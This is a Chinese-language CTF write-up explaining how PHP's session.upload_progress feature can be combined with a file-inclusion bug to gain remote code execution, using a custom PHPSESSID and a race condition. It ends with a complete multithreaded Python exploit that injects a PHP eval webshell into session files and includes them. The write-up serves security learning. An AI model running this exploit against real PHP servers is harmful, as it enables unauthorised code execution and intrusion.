文件包含漏洞奇技淫巧——session.upload_progress
刷题时遇到的一道题目,一直没有思路,看完wp之后学会的新姿势。
知识铺垫
php5.4之后新增了一个功能:session.upload_progress
。
在php.ini
有以下几个默认选项
session.upload_progress.enabled = on
session.upload_progress.cleanup = on
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
session.upload_progress.freq = "1%"
session.upload_progress.min_freq = "1"
其中:
enabled=on
表示upload_progress
功能启用,当上传文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中;cleanup=on
表示当文件上传结束后,php将会立即清空对应session文件中的内容;name
出现在表单中时,php会报告上传进度,最重要的是:name的值可控;prefix
为key前缀,它和name
拼接后作为session中的键名。
存储机制
当开启session时,服务器都会在一个临时目录下创建一个session文件来保存会话信息,文件名格式为 sess_PHPSESSID 。
Linux中,session文件一般保存在以下目录:
/var/lib/php/
/var/lib/php/sessions/
/tmp/
/tmp/sessions/
利用方式
根据上述session的配置和机制,可以想到:通过session.upload_progress将恶意代码写入session文件,再通过inclue实现rce。
难点一
在php中,只有调用了session_start()才能开启session,那么在没有使用session_start()时,如何开启session?
默认情况下,php配置中的session.use_strict_mode是未启用的,也就意味着cookie中的PHPSESSID
是可以自定义的。例如:
当设置PHPSESSID=yvling
时,服务器会生成一个sess_yvling
的session文件并保存在临时目录下,此时php自动初始化session,产生一个键值对,键名为配置文件中设置的prefix
+name
。
难点二
默认情况下,session.upload_progress.cleanup是启用的, 也就意味着在上传结束后,session文件中有关文件上传的信息会被马上删除,那么怎么才能将恶意代码包含至文件中呢?
这里使用条件竞争的方式,使用脚本不断发送上传数据包,再用相同方式发送文件包含的数据包,就能包含到了。
Exp
import io
import sys
import requests
import threading
sessid = "yvling"
data = { "cmd":"system('ls /');" }
url = "http://node5.anna.nssctf.cn:28960/index.php"
params = "QAQ"
cahce = "/tmp"
filename = "yvling.txt"
def write(session):
while True:
f = io.BytesIO(b"a" * 1024 * 50)
resp = session.post(
url=url,
data={
"PHP_SESSION_UPLOAD_PROGRESS": "<?php eval($_POST['cmd']);?>"
},
files={
"file": (filename, f)
},
cookies={
"PHPSESSID": sessid
}
)
def read(session):
while True:
resp = session.post(url=f"{url}?{params}={cahce}/sess_{sessid}", data=data)
if filename in resp.text:
print(resp.text)
event.clear()
sys.exit(0)
else:
# print("retry...")
pass
if __name__=="__main__":
event=threading.Event()
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=write,args=(session,)).start()
for i in range(1,30):
threading.Thread(target=read,args=(session,)).start()
event.set()